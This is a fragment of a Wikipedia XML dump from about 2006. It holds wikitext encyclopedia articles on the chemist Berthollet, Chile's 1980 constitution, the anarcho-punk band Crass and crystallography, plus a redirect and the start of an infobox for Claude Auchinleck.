Berthollet, along with [[Antoine Lavoisier]] and others, devised a chemical nomenclature, or a system of names, which serves as the basis of the modern system of naming chemical compounds. He also carried out research into [[dye]]s and [[Bleach (chemical)|bleach]]es (introducing the use of [[chlorine]] as a bleach) and determined the composition of [[ammonia]]. Potassium Chlorate (KClO3), a strong oxidizer, is known as Berthollet's Salt. [[Non-stoichiometric compound]]s are also named ''berthollides'' in his honor.

He died in [[Arcueil]], France.

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    <title>Chasidic Judaism</title>
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    <title>Constitution of Chile</title>
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      <text xml:space="preserve">{{Politics of Chile}}The current '''Political Constitution of the Republic of Chile''', approved by [[Chile|Chilean]] voters in a tightly controlled  [[plebiscite]] on [[September 11]] [[1980]], under the dictatorship of [[Augusto Pinochet]], effective [[March 11]] [[1981]] and amended [[July 30]] [[1989]], [[1991]], [[1994]], [[1997]], [[1999]], [[2000]], [[2001]], [[2003]] and [[2005]], replaced the earlier [[constitution]] of [[1925]]. In its original permanent dispositions, it gave the President of the Republic a large amount of power; however, some of these dispositions, such as the power of dissolving the [[Lower house|Lower Chamber]] of Congress and serving eight year terms with possibility of reelection, were modified or eliminated after [[1990]], when the country regained its [[democracy]] and the Congress was reestablished. It created some new institutions, such as the Constitutional Tribunal and the [[controversy|controversial]] National Security Council (COSENA).

In its temporary dispositions, the document ordered the transition from the former [[military]] government, with [[Augusto Pinochet]] as President of the Republic, and the Legislative Power of the [[Junta|Military Junta]] (formed by the heads of the [[Navy]], [[Air Force]], National Police, and a representative of the [[Army]], the head of the Army being president of the [[republic]]), to a civil one, with a time frame of eight years, during which the Legislative Power would still be the Military Junta. It set the first eight year presidential term for Pinochet, with a [[plebiscite]] in the eighth year, in which only one candidate, nominated by the Junta, would be accepted or not. The candidate, as expected, was Pinochet himself. While the steps to follow in the case of a triumph of the &quot;yes&quot; option, which the document obviously anticipated, were clearly delineated, the steps for the &quot;no&quot; triumph were less so, but still clear enough that no serious doubt emerged when the &quot;no&quot; option actually was victorious in the [[1988]] plebiscite.

After the plebiscite, several [[Constitutional amendment|modifications]] to the Constitution were agreed and subjected to referendum, among them a simplification on the mechanism of future modification.

In [[2005]] over 50 reforms were approved, which eliminated the remaining undemocratic areas of the text, such as the existence of non-elected Senators (institutional senators, or senators for life) and the inability of the President to remove the Commander in Chief of the Armed Forces. These reforms led the President to controversially declare Chile's transition to democracy as complete.

==Timeline of Constitutions==

* ''Reglamento para el arreglo de la Autoridad Ejecutiva Provisoria de Chile 1811''
* ''Reglamento Constitucional 1812''
* ''Reglamento para el gobierno Provisorio 1814''
* ''Constitución de 1818''
* ''Constitución de 1822''
* ''Constitución de 1823''
* ''Constitución de 1828''
* ''Constitución de 1833''
* ''Constitución de 1925''
* ''Constitución de 1980''

==References==

*[http://www.bcn.cl/pags/legislacion/leyes/resena_const.htm Brief review of Chile's constitutional history] - Chile's Library of Congress (in Spanish)

==External links==
{{wikisource|es:Constitución Política de la República de Chile|Constitution of Chile (in Spanish)}}
* [https://www.presidencia.cl/view/pop-up-nueva-constitucion-texto.asp 2005 recasting of the 1980 Constitution] ([https://www.presidencia.cl/documentos/Constituci%F3n%20Pol%EDtica.pdf PDF version]) (Spanish original)
* [http://confinder.richmond.edu/admin/docs/Chile.pdf Official translation of the original 1980 Constitution] (PDF file)
* [http://www.bcn.cl/pags/legislacion/leyes/constitucion_politica.htm Text of Chilean constitutions] - Library of Congress of Chile (Spanish original)
* [http://www.economist.com/displayStory.cfm?story_id=3320682 &quot;Untying the knot&quot; (The Economist)]

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    <title>Crass</title>
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      <text xml:space="preserve">{{Anarchism}}''For information about the [[anarchist]] writer see [[Chris Crass]]''

[[Crass]] was an influential [[England|English]] [[anarchist]] [[punk rock]] band.

==Overview==

[[Image:Crass2.jpg|thumb|left|Crass pictured at [[Bristol]], [[September]] [[1981]]]]

Crass formed in [[1977]], based around [[Dial House]], an '[[commune (intentional community)|open house community]]' near [[Epping, England|Epping]], [[Essex, England|Essex]], in England.

Whereas the [[Sex Pistols]]' anarchism seemed to be a self-consciously [[Nihilism|nihilistic]] [[prank]], Crass's stance was more directly linked to the [[libertarian socialism|libertarian socialist]] or communalistic varieties of 20th century political thought.

Taking literally the punk manifesto of &quot;[[DIY punk ethic|Do It Yourself]]&quot;, Crass combined the use of [[song]], [[film]], [[sound collage]], [[graphic]]s and [[subversion (political)|subversion]] to launch a sustained and innovative critical broadside against all that they saw as a culture built on foundations of [[war]], [[violence]], [[sexism]], religious hypocrisy and unthinking [[consumerism]]. They were also amongst the progenitors of the [[anarcho-pacifism]] that became pervasive in the punk music scene (see also [[anarcho-punk]]).

==Origins of the band==

The band came together when Dial House founder and former member of [[avant-garde]] [[performance art]] group [[Exit (performance art group)|EXIT]] [[Penny Rimbaud]] (real name Jerry Ratter) began [[jamming]] with [[The Clash|Clash]] fan [[Steve Ignorant]], who was staying at the house at the time. Between them they put together the songs &quot;So What?&quot; and &quot;Do They Owe Us A Living?&quot; as a drums and vocals duo. For a (very) short period of time they called themselves '''Stormtrooper''', before choosing the name '''Crass''', a reference to the [[David Bowie]] song &quot;[[Ziggy Stardust]]&quot; (specifically the line &quot;The kids was just crass&quot;).
Other members of the household began to join in, and it was not long before Crass performed their first live gig as part of a [[squat]]ted street festival at Huntley Street, North London. Here they had intended to play a set of five songs; however, the &quot;plug was pulled&quot; on them by the organisers after four. Shortly afterwards they played at the legendary [[Roxy Club|Roxy]] punk club in London's [[Covent Garden]] area. By the band's own account this was a [[drunkenness|drunken]] debacle, ending in the group being ejected from the stage, and immortalised by their song &quot;Banned from the Roxy&quot; [http://www.lyricstime.com/lyrics/50021.html] and Rimbaud's essay ''Crass at the Roxy'' [http://www.southern.com/southern/label/CRC/anthem1/anthem1_4.html]. Other early gigs included regularly playing alongside the [[UK Subs]] at the White Lion [[pub]] in [[Putney]]. These performances were often not well-attended; &quot;The audience consisted mostly of us when the Subs played and the Subs when we played.&quot; [http://www.southern.com/southern/label/CRC/] 

[[Image:libertine1.jpg|150px|thumb|[[Eve Libertine]] performing with Crass at the [[Wapping]] Anarchist Centre, [[London]], December 1981]]

A while later, the band decided to take themselves more seriously, particularly paying more attention to their presentation. As well as avoiding [[recreational drug use|drug]]s such as [[alcoholic beverage|alcohol]] or [[cannabis (drug)|cannabis]] before gigs, they also adopted a policy of wearing black, [[military surplus]]-style clothing at all times, whether on or off stage. They also introduced their distinctive stage backdrop, a [[Logotype|logo]] designed by Rimbaud's friend Dave King (later of [[Sleeping Dogs Lie (band)|Sleeping Dogs Lie]]), as pictured below on the sleeve of ''[[The Feeding of the 5000 (album)|The Feeding Of The 5000]]''. This gave the band a [[militarism|militaristic]] image, which led some to accuse them of [[fascism]]. Crass countered that their uniform appearance was intended to be a statement against the &quot;cult of the personality&quot;, so that, in contrast to the norm for many [[rock band]]s, no member would be identified as the 'leader'.

The aforementioned logo represented an amalgamation of several &quot;[[icon]]s of authority&quot; including the [[Christian Cross]], the [[swastika]] and the [[Union Flag]] combined with a two headed snake consuming itself (to symbolise the idea that power will eventually destroy itself). Using such deliberately mixed messages was also part of Crass' strategy of presenting themselves as a &quot;barrage of contradictions&quot;, which also included using loud, aggressive music to promote a [[pacifism|pacifist]] message, and was in part a reference to their own [[Dada]]ist and performance art backgrounds.

The band also eshewed any elaborate stage lighting during live sets, instead preferring to be illuminated by a simple bare light bulb. The band also pioneered [[multimedia]] presentation techniques, fully utilising video technology and using back-projected films and video collages made by [[Mick Duffield]] and [[Gee Vaucher]] to enhance their performances.

[[image:crassbanner1.jpg|thumb|left|Sleeve art for Crass' ''The Feeding Of The 5000'' 12&quot; record, illustrating the band's logo]]

==[[Crass Records]]==

Crass' first release was ''The Feeding Of The 5000'', an 18 track 12&quot; 45 rpm EP on the [[Small Wonder Records|Small Wonder]] label in [[1978]]. Workers at the pressing plant initially refused to handle it due to the allegedly [[blasphemy|blasphemous]] content of the song &quot;Reality Asylum.&quot; The record was eventually released with this track removed and replaced by two minutes of silence, ironically titled &quot;The Sound Of Free Speech&quot;. This incident also prompted Crass to set up their own record label, [[Crass Records]], in order to retain full editorial control over their material, and &quot;Reality Asylum&quot; was shortly afterwards issued in a re-recorded and extended form as a 7&quot; single. A later pressing of the album on Crass Records restored the missing track.

As well as their own material, Crass Records released recordings by other performers, the first of which was the [[1980]] single &quot;You Can Be You&quot; by [[Honey Bane]], a teenage girl who was staying at Dial House whilst on the run from a children's home. Other artists included [[Zounds (band)|Zounds]], [[Flux Of Pink Indians]], [[Rudimentary Peni]], [[Conflict (band)|Conflict]], [[Iceland]]ic band [[KUKL]] (who included singer [[Björk]]), [[European classical music|classical]] singer [[Jane Gregory]], and the [[Poison Girls]], a like-minded band who worked closely with Crass for several years.

They also put out three editions of ''[[Bullshit Detector]]'', compilations of demos and rough recordings which had been sent to the band, and which they felt represented the [[DIY punk ethic]].

The catalogue numbers of Crass Records releases were intended to represent a countdown to the year [[1984]] (eg, 521984 meaning &quot;five years until 1984&quot;), both the year that Crass stated that they would split up, and a date charged with significance in the anti-authoritarian calendar due to [[George Orwell]]'s novel of the same name (see [[1984 (novel)]]).

==''Penis Envy'', ''Christ the Album'' and a change of strategy==

[[Image:Crass3.jpg|200px|thumb|right|Crass at the [[Digbeth Civic Hall]], [[Birmingham]], 1981]]

Crass released their third album ''[[Penis Envy (record)|Penis Envy]]'' in [[1981]]. This marked a departure from the somewhat [[testosterone]]-driven 'hardcore punk' image that ''Feeding of the 5000'' and its follow up ''[[Stations of the Crass]]'' had to some extent given the group. It featured more complex musical arrangements and exclusively female vocals provided by [[Eve Libertine]] and [[Joy De Vivre]] (although Steve Ignorant remained a group member and is credited on the record sleeve as ''not on this recording'').

The album addressed [[feminist]] issues and once again attacked the institutions of 'the system' such as [[marriage]] and [[sexual repression]]. One track, a deliberately [[saccharine]] [[parody]] of a '[[MOR]]' love song entitled &quot;Our Wedding&quot;, was given away as a [[flexi disc]] with a teenage girl's romance magazine after the magazine was offered it by an organisation calling itself &quot;Creative Recording And Sound Services&quot; (note the initials). A minor [[tabloid]] controversy resulted once the hoax was revealed, with the [[News of the World]] going so far as to state that the album's title was &quot;too obscene to print&quot;.

The band's fourth LP, [[1982]]'s double set ''[[Christ The Album]]'', took over a year to record, produce and mix, during which time the [[Falklands War]] had broken out and ended. This caused Crass to fundamentally question their approach to making records. As a group whose primary purpose was to comment upon political issues, they felt they had been overtaken and made to appear redundant by real world events. Subsequent releases, including the singles &quot;How does it Feel to Be the Mother of A Thousand Dead&quot; and &quot;Sheep Farming in the Falklands&quot;, and the album ''[[Yes Sir, I Will]]'', saw the band strip their sound back to basics and were issued as &quot;tactical responses&quot; to political situations. They also anonymously produced a flexi-disc featuring a live recording of &quot;Sheep Farming...&quot;, copies of which were randomly inserted into the sleeves of other records by sympathetic workers in distribution warehouses as a means of spreading their views to those who might not normally hear them.

==Direct Action, 'Thatchergate' and internal debates==
[[Image:Stations.jpeg|thumb|left|Detail from front cover artwork from ''Stations of the Crass'', illustrating an example of the stenciled graffiti used by the band ]]
From their earliest days of spraying stencilled [[graffiti]] around the [[London Underground]] network [http://www.southern.com/southern/label/CRC/09400a.html], the band had always been involved in [[direct action]] as well as musical activities. In [[1983]] and [[1984]] they were part of the [[Stop the City]] actions that can be seen as fore-runners of the early 21st century [[Anti-globalization movement|anti-globalisation protest]]s. Explicit support for such activities was given in the lyrics of the band's final single release &quot;You're Already Dead&quot;, which also saw Crass abandoning their long time commitment to pacifism. This led to further introspection within the band, with some members feeling that they were beginning to become embittered as well as losing sight of their essentially positive stance. As a reflection of this debate, the next release using the Crass name was ''[[Acts of Love]]'', [[European classical music|classical music]] settings of 50 poems by Penny Rimbaud described as &quot;songs to my other self&quot; and intended to celebrate &quot;'the profound sense of unity, peace and love that exists within that other self.&quot;

A further post-Falklands war [[hoax]] that originated from members of Crass garnered enough attention to elicit fears of [[KGB]] activity from the [[Reagan Administration]].  Known as 'the [[Thatchergate]] tapes', this was a [[Compact audio cassette|cassette]] featuring a faked conversation using edited [[Sampling (music)|samples]] of [[Margaret Thatcher]] and [[Ronald Reagan]]s' voices, in which they appeared to allege that [[Europe]] would be used as a target for [[intermediate range nuclear weapons]] in any conflict between the [[United States]] and the [[Soviet Union]]. Copies were leaked into the [[public domain]], and although put together totally anonymously, the British [[Observer newspaper|Observer]] [[newspaper]] was somehow able to link the tape with the band.

==Dissolution==

Crass all but retired from the public eye after becoming a particularly irritating thorn in the side of [[Margaret Thatcher]]'s government following the [[Falklands War]]. Questions in [[Parliament of the United Kingdom|Parliament]] and an attempted prosecution under the UK's [[Obscene Publications Act]] for their single &quot;How Does It Feel...&quot; [http://www.southern.com/southern/label/CRC/09422b.html] led to a round of court battles and what the band describe as harassment that finally took its toll. On [[July 7th]] 1984 the band played their final gig at [[Aberdare]] in [[Wales]], a benefit for [[UK miners' strike (1984-1985)|striking miners]], before retreating to Dial House to concentrate their energies elsewhere.

Guitarist [[Andy Palmer]] had announced that he intended to move on from the band in order to further his [[art college]] studies, and the reported group [[consensus]] was that replacing him would be &quot;like having a corpse in the band&quot;. This [[catalyst|catalysed]] the affirmation of Crass' consistently stated intention to 'split up in 1984'. Steve Ignorant went on to join the band [[Conflict (band)|Conflict]], with whom he had already worked on an ''[[ad hoc]]'' basis, and in 1992 formed [[Schwartzeneggar]](sic). From 1997-2000, he was a member of the group [[Stratford Mercenaries]]. He has also worked as a '[[Punch and Judy]]' performer. Eve Libertine continued to record with her son [[Nemo Jones]] as well as performance artist [[A-Soma]]. Pete Wright concentrated on building himself a [[house-boat]] and formed the performance art group [[Judas 2]], whilst Rimbaud continued to write and perform both solo and with other artists.

==Influences==

The philosophical and aesthetic influence of Crass on numerous punk bands from the 1980s cannot be overstated, even if few bands mimicked their later more [[free improvisation|free-form]] musical style (as on ''Yes Sir, I Will'' and their final recording, ''10 Notes on a Summer's Day''). The band has stated that their musical antecedents and influences were seldom drawn from the [[Rock (music)|rock music]] tradition, but rather from classical music (particularly [[Benjamin Britten]], from whom, Rimbaud states, some of Crass' riffs are direct [[plagiarism]]s), [[Dadaism|Dada]] and the avant-garde such as [[John Cage]] as well as performance art traditions. Their painted and [[collage]]-art black-and-white record sleeves produced by [[Gee Vaucher]] themselves became a signature aesthetic model.

Crass has experienced a resurgence in popularity due partially to the growing popularity of the Web.

==2002 onwards: The Crass Collective/Crass Agenda/Last Amendment==

In November [[2002]] several former members of Crass collaborated under the name [[The Crass Collective]] to arrange ''Your Country Needs You'', a concert of &quot;voices in opposition to war&quot; held at the [[Queen Elizabeth Hall]] on [[London]]'s South Bank that included a performance of Britten's ''[[War Requiem]]''. In October 2003, the Crass Collective changed their working title to [[Crass Agenda]], and they continue to perform regularly.  During 2004 Crass Agenda were at the forefront of the campaign to save the ''[[Vortex Jazz Club|Vortex]]'' Jazz Club in [[Stoke Newington]], North [[London]], which has now relocated to [[Hackney]]. In June 2005 Crass Agenda was declared to be 'no more', subsequently changing the name of the project to the 'more appropriate' [[Last Amendment]].

A &quot;new&quot; Crass track (actually a remix of 1982's &quot;Major General Despair&quot;, with new lyrics), &quot;The Unelected President&quot;, is also available [http://www.peace-not-war.org/Music/Crass/index.html].

==Statistics==

*'''Genre:''' [[punk rock|Anarcho punk]]
*'''Country:''' [[United Kingdom|UK]]
*'''Status:''' Disbanded
*'''Time:''' [[1977]] &amp;ndash; [[1984]]

==Members==

*[[Penny Rimbaud]] (drums)
*[[Gee Vaucher]] (artwork)
*[[Steve Ignorant]] (voice)
*[[N.A.Palmer]] (Guitar)
*[[Phil Free]] (Guitar)
*[[Pete Wright]] (Bass)
*[[Eve Libertine]] (Voice)
*[[Joy De Vivre]] (Voice)
*[[Mick Duffield]] (films)

*The late [[John Loder]], [[sound engineer]] and founder of [[Southern Studios]], is often considered to be the '10th member' of Crass.

==Discography==

(All released on the Crass record label unless otherwise stated.)

*''[[The Feeding of the 5000 (album)|The Feeding Of The 5000]]'' (12&quot; EP, 1978, originally released by [[Small Wonder Records]])
*&quot;Reality Asylum&quot; (7&quot;, 1978)
*''[[Stations Of The Crass]]'' (LP, 1979)
*&quot;You Can Be You&quot; (single by Honey Bane, backed by Crass under the name Donna and the Kebabs, 1980)
*&quot;Bloody Revolutions&quot; (single, joint released with the [[Poison Girls]], 1980)
*&quot;Tribal Rival Rebel Revels&quot; (Flexi disc single given away with ''[[Toxic Grafity]]'' (sic) [[fanzine]], 1980)
*''The Feeding of the 5000 (Second Sitting)'' (1980, a reissue of the 1978 Small Wonder release on Crass Records, with the missing track &quot;Asylum&quot; reinstated)
*&quot;Nagasaki Nightmare&quot; (single, 1981))
*''[[Penis Envy (album)|Penis Envy]]'' (LP, 1981)
*&quot;Our Wedding&quot; (flexi disc single recorded under the name ''Creative Recording And Sound Services'' given away with magazine ''Loving'' [http://www.southern.com/southern/label/CRC/09410.html])
*&quot;Merry Crassmas&quot; (single, 1981, Crass' tongue-in-cheek stab at the Christmas novelty market [http://www.southern.com/southern/label/CRC/09417.html])
*''[[Christ The Album]]'' (double LP, 1982)
*&quot;Sheep Farming In The Falklands&quot; (single 1982, originally distributed anonymously as a flexi-disc)
*&quot;How Does It Feel To Be The Mother Of 1000 Dead?&quot; (Single 1983)
*&quot;Whodunnit?&quot; (Single, 1983, pressed in &quot;shit coloured vinyl&quot;, Crass' response to the re-election of [[Prime Minister of the United Kingdom|Prime Minister]] Margaret Thatcher)
*''[[Yes Sir, I Will]]'' (LP, 1983)
*&quot;You're Already Dead&quot; (single, 1984)
*''Acts Of Love'' (LP and book, 1985 (described as &quot;50 songs to my Other Self&quot;, this features the poems of Penny Rimbaud set to [[European classical music|classical music]] and sung by Eve Libertine and Steve Ignorant. The book is illustrated by the paintings of Gee Vaucher)
*&quot;It's You&quot; &amp;mdash; track on ''P.E.A.C.E.'' international anti-war benefit compilation released by [[R. Radical Records]] (1984)
*&quot;Powerless With A Guitar&quot; &amp;mdash; track on ''Devastate to Liberate'' benefit compilation for the [[Animal Liberation Front]], TIBETan records, (1986) (the title is a reference to a poem by [[Günter Grass]])
*&quot;Ten Notes On A Summer's Day&quot; (12&quot; EP, 1986)
*''[[Best Before 1984]]'' (retrospective LP compilation, 1986)
*''[[Christ: The Bootleg]]'' (recorded live in Nottingham, 1984, released 1989 on Allied Records)
*''[[Christ: The Movie]]'' (a series of short films by Mick Duffield that were shown at Crass performances, VHS, released 1990)
*''Semi-Detached'' (video collages by Gee Vaucher, 1978-1984, VHS, 2001)
*''[[You'll Ruin It For Everyone]]'' (recorded live in Perth, Scotland, 1981, released 1993 on Pomona Records)
*&quot;The Unelected President&quot; &amp;mdash; track on ''Peace Not War'' anti-war CD compilation. (This track is actually a remix of 1982's &quot;Major General Despair&quot;, with new lyrics and additional instrumentation provided by [[Dylan Bates]]), (2003)

===Also of note===

*''You've Heard It All Before'' (1993, [[Ruptured Ambitions Records]]), a 'tribute album' consisting of [[cover version]]s of songs by Crass performed by various artists.

*&quot;Bullshit Crass&quot; ([[Rondolet Records]], [[1982]]) &amp;mdash;  a 'critique' of Crass by [[Colchester]] punk band [[Special Duties]] that parodied Crass' chant of &quot;fight war, not wars&quot; with the words &quot;fight Crass, not punk&quot; [http://www.angelfire.com/punk/XLordAshX/specialduties.html].

==Related writings and references==
*''A Series Of Shock Slogans And Mindless Token Tantrums'' (Exitstencil Press, 1982) (originally issued as a pamphlet with the LP ''Christ The Album'', much of the text is now published online at [http://www.southern.com/southern/label/CRC/text/09438a.html])
*''Shibboleth- My Revolting Life'' (Penny Rimbaud, 1999, AK Press)
*''The Diamond Signature'' (Penny Rimbaud, 1999, AK Press)
*''Crass Art and other Post Modern Monsters'' (Gee Vaucher, 1999, AK Press)
*''International Anthem: A Nihilist Newspaper For The Living'' issues 1-3 (Exitstencil Press, 1977-81) (see [http://www.southern.com/southern/label/CRC/misc.html])
*''Love Songs'' (collected lyrics of Crass with an introduction by Penny Rimbaud, Pomona Books, 2004) [http://www.pomonauk.com/books/crass/]
*'&quot;The Hippies Now Wear Black&quot;: Crass and the anarcho-punk movement, 1977-1984', Richard Cross in ''Socialist History'', 26, 2004 [http://www.socialist-history-journal.org.uk/SH_26_contents.html]
*There is an extended section covering Crass in the book ''Senseless Acts of Beauty'' by [[George McKay]] ([[Verso]], 1996, ISBN1859840280)

==See also==
*[[Chumbawamba]]
*[[Poison Girls]]
*[[Current 93]] (Steve Ignorant contributed to early works of the band)
*[[The Ex]]
*[[Anarchism in the arts]]
*[[Punk ideology]]
*[[Conflict (band)|Conflict]]
*[[The Stratford Mercenaries]]

==External links==
*[http://www.southern.com/southern/label/CRC/ Official Crass website]
*[http://airy.phy.ulaval.ca/~pystl/Lyrics.htm#Crass Crass lyrics and essays]
*[http://www.tartareandesire.com/bands/crass.html Tarten Desire Website - Crass]
*[http://www.punk77.co.uk/groups/crass.htm A critical view of Crass from the 'Punk 77' website]
*[http://www.uncarved.org/music/apunk/crass.html Interview from 'Mucilage' fanzine]
*[http://www.uncarved.org/music/apunk/christ.html A Christian perspective on Crass]
*[http://www.uncarved.org/music/apunk/guardian050101.html 'Dial House under threat'] from UK [[Guardian]] newspaper.
*[http://xray.bmc.uu.se/gerard/dotheyoweus.wav Sample of track &quot;Do They Owe Us A Living?&quot;]
*[http://www.peace-not-war.org/Music/Crass/index.html &quot;The Unelected President&quot;]

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    <title>Cave Tetra</title>
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      <text xml:space="preserve">#REDIRECT [[Mexican tetra]]</text>
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  <page>
    <title>Crystallography</title>
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      <minor />
      <comment>/* Materials science */ +link</comment>
      <text xml:space="preserve">'''Crystallography''' (from the [[Greek language|Greek]] words ''crystallon'' = cold drop / frozen drop, with its meaning extending to all solids with some degree of transparency, and ''graphein'' = write) is the experimental science of determining the arrangement of [[atom]]s in [[solid]]s. In older usage, it is the scientific study of [[crystal]]s.

Before the development of X-ray diffraction crystallography (see below), the study of crystals was based on the geometry of the crystals.  This involves measuring the angles of crystal faces relative to theoretical reference axes ([[crystallographic axes]]), and establishing the [[symmetry]] of the crystal in question.  The former is carried out using a [[goniometer]]. The position in 3D space of each crystal face is plotted on a stereographic net, e.g. [[Wolff net]] or [[Lambert net]].  In fact, the [[pole]] to each face is plotted on the net.  Each point is labelled with its [[Miller Index]].  The final plot allows the symmetry of the crystal to be established.  

Crystallographic methods now rely on the analysis of the [[diffraction]] patterns that emerge from a sample that is targeted by a beam of some type. The beam is not always [[electromagnetic radiation]], even though [[X-ray]]s are the most common choice. For some purposes [[electron]]s or [[neutron]]s are used, which is possible due to the wave properties of the particles. Crystallographers often explicitly state the type of illumination used when referring to a method, as with the terms '''[[X-ray diffraction]],''' '''[[neutron diffraction]]''' and '''[[electron diffraction]].''' 

These three types of radiation interact with the specimen in different ways. [[X-ray]]s interact with the spatial distribution of the [[valence electrons]], while [[electron]]s are [[charged particle]]s and therefore feel the total charge distrubution of both the [[atomic nuclei]] and the surrounding electrons. [[Neutron]]s are scattered by the atomic nuclei through the [[strong nuclear force]]s, but in addition, the [[magnetic moment]] of neutrons is non-zero. They are therefore also scattered by [[magnetic field]]s. Because of these different forms of interaction, the three types of radiation are suitable for different crystallographic studies.

== Theory ==

In many cases, an image of a microscopic object is generated by focusing the rays of the [[optical spectrum|visible spectrum ]] using a [[Lens (optics)|lens]] as in light [[microscope|microscopy]].  However, because the wavelength of visible light is long compared to [[chemical bond|atomic bond]] lengths and [[atom]]s themselves, it is necessary to use radiation with shorter wavelengths, such as X-rays.  Employing shorter wavelengths implies abandoning microscopy and true imaging, however, because there exists no material from which a lens capable of focusing this type of radiation can be created. (That said, scientists have had some success focusing X-rays with microscopic [[Fresnel zone plate]]s made from gold). Generally, in diffraction-based imaging, the only wavelengths used are those that are too short to be focused. This difficulty is the reason that crystals must be used.

Because of their highly ordered and repetitive structure, crystals are an ideal material for analyzing the structure of solids.  To use X-ray diffraction as an example, a single X-ray photon diffracting off of one electron cloud will not generate a strong enough signal for the equipment to detect.  However, many X-rays diffracting off many electron clouds in approximately the same relative position and orientation throughout the crystal will result in constructive [[interference]] and hence a detectable signal.

== Notation ==

See [[Miller index]] for a full treatment of this topic.

* Coordinates in ''square [[bracket]]s'' such as '''&lt;nowiki&gt;[100]&lt;/nowiki&gt;''' denote a direction (in real space).

* Coordinates in ''angle brackets'' or ''chevrons'' such as '''&lt;100&gt;''' denote a ''family'' of directions which are equivalent due to symmetry operations.  If it refers to a cubic system, this example could mean &lt;nowiki&gt;[100], [010], [001]&lt;/nowiki&gt; or the negative of any of those directions.

* Coordinates in ''parentheses'' such as '''(100)''' denote a plane, in a cubic system the [[normal]] to the  (hkl) plane is the direction [hkl].

* Coordinates in ''curly brackets'' or ''braces'' such as '''&lt;nowiki&gt;{100}&lt;/nowiki&gt;''' denote a family of plane normals which are equivalent due to symmetry operations, much the way angle brackets denote a family of directions.

== Technique ==

Some materials studied using crystallography, DNA for example, do not occur naturally as crystals.  Typically, such molecules are placed in solution and allowed to crystallize over days, weeks, or months through vapor [[diffusion]].  A drop of solution containing the molecule, buffer, and precipitants is sealed in a container with a reservoir containing a [[hygroscopic]] solution.  Water in the drop diffuses to the reservoir, slowly increasing the concentration and allowing a crystal to form.  If the concentration were to rise more quickly, the molecule would simply [[Precipitation (chemistry)|precipitate]] out of solution, resulting in disorderly granules rather than an orderly and hence usable crystal.

Once a crystal is obtained, data can be collected using a beam of radiation.  Although many universities that engage in crystallographic research have their own X-ray producing equipment, [[Synchrotron light|Synchrotron]]s are often used as X-ray sources, because of the purer and more complete patterns such sources can generate. Synchrotron sources also have a much higher intensity of x-ray beams, so data collection takes a fraction of the time normally necessary at weaker sources. 

Producing an image from a diffraction pattern requires sophisticated [[mathematics]] and often an iterative process of '''modelling and refinement.''' In this process, the mathematically predicted diffraction patterns of an hypothesized or &quot;model&quot; structure are compared to the actual pattern generated by the crystalline sample. Ideally, researchers make several initial guesses, which through refinement all converge on the same answer.  Models are refined until their predicted patterns match to as great a degree as can be achieved without radical revision of the model. This is a painstaking process, made much easier today by computers.  

The mathematical methods for the analysis of diffraction data only apply to ''patterns,'' which in turn result only when waves diffract from orderly arrays. Hence crystallography applies for the most part only to crystals, or to molecules which can be coaxed to crystalize for the sake of measurement. In spite of this, a certain amount of molecular information can be deduced from the patterns that are generated by fibers and powders, which while not as perfect as a solid crystal, may exhibit a degree of order. This level of order can be sufficient to deduce the structure of simple molecules, or to determine the coarse features of more complicated molecules (the double-helical structure of [[DNA]], for example, was deduced from an X-ray diffraction pattern that had been generated by a fibrous sample).

== Materials science ==

Crystallography is a tool that is often employed by materials scientists. In single crystals, the effects of the crystalline arrangement of atoms is often easy to see macroscopically, because the natural shapes of crystals reflect  the atomic structure.  In addition, physical properties are often controlled by crystalline defects.  The understanding of crystal structures is an important prerequisite for understanding [[crystallographic defect]]s.

A number of other physical properties are linked to crystallography.   For example, the minerals in [[clay]] form small, flat, platelike structures. Clay can be easily deformed because the platelike particles can slip along each other in the plane of the plates, yet remain strongly connected in the direction perpendicular to the plates.  

In another example, [[iron]] transforms from a [[body-centered cubic]] (bcc) structure to a [[face-centered cubic]] (fcc) structure called [[austenite]] when it is heated.  The fcc structure is a close-packed structure, and the bcc structure is not, which explains why the volume of the iron decreases when this transformation occurs.

Crystallography is useful in phase identification:  That is, when performing some kind of processing on a material, it is often desired to find out what compounds and what phases are present in the material.  Each phase has a characteristic arrangement of atoms.  Techniques like X-ray diffraction can be used to identify which patterns are present in the material, and thus which compounds are present (note: the determination of the &quot;phases&quot; within a material should not be confused with the more general problem of &quot;phase determination,&quot; which refers to the phase of waves as they diffract from planes within a crystal, and which is a necessary step in the interpretation of complicated diffraction patterns).

Crystallography covers the enumeration of the symmetry patterns which can be formed by atoms in a crystal and for this reason has a relation to group theory and geometry.  See [[Symmetry group]].

== Biology ==

X-ray crystallography is the primary method for determining the molecular conformations of biological [[macromolecule]]s, particularly [[protein]] and [[nucleic acid]]s such as [[DNA]] and [[RNA]].  In fact, the double-helical structure of DNA was deduced from crystallographic data.  The first crystal structure of a macromolecule was solved in 1958 (Kendrew, J.C. et al. (1958) A three-dimensional model of the myoglobin molecule obtained by X-ray analysis (Nature 181, 662-666). The [[Protein Data Bank]] (PDB) is a freely accessible repository for the structures of [[protein]]s and other biological macromolecules. [[RasMol]] can be used to visualize biological molecular structures.

[[Electron crystallography]] has been used to determine some protein structures, most notably [[membrane protein]]s and [[viral capsid]]s.

==See also==

* [[Crystal]]
* [[Crystal optics]]
* [[Crystallite]] 
* [[Crystallization processes]]
* [[Crystallographic group]] 
* [[Diffraction]]
* [[Electron crystallography]]
* [[Don Craig Wiley]]
* [[René Just Haüy]]
* [[Symmetry group]]
* [[X-ray crystallography]]

== External links ==

* [http://www.rockhounds.com/rockshop/xtal/index.html Introduction to Crystallography and Mineral Crystal Systems]
* [http://www.iucr.ac.uk/iucr-top/comm/cteach/pamphlets.html Crystallographic Teaching Pamphlets]
* [http://cst-www.nrl.navy.mil/lattice/spcgrp/ Crystal Lattice Structures]
* [http://www.ccp14.ac.uk/ Freely Available Crystallographic Software for Academia]

[[Category:Crystallography| ]]

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  <page>
    <title>Casu modde</title>
    <id>7795</id>
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  <page>
    <title>Claude Auchinleck</title>
    <id>7796</id>
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      <id>42045016</id>
      <timestamp>2006-03-03T12:25:22Z</timestamp>
      <contributor>
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      <text xml:space="preserve">{{Infobox_Biography |
  subject_name   = Field Marshal Sir Claude Auchinleck|
  image_name     = Auchinleck.jpg |
  image_caption  =  |
  date_of_birth  = [[June 21]], [[1884]]|
  place_of_birth = [[Aldershot]], [[United Kingdom]]|
  dead=dead |
  date_of_death  = [[March 23]], [[1981]]|
  place_of_death = [[Marrakesh]], [[Morocco]]
}}
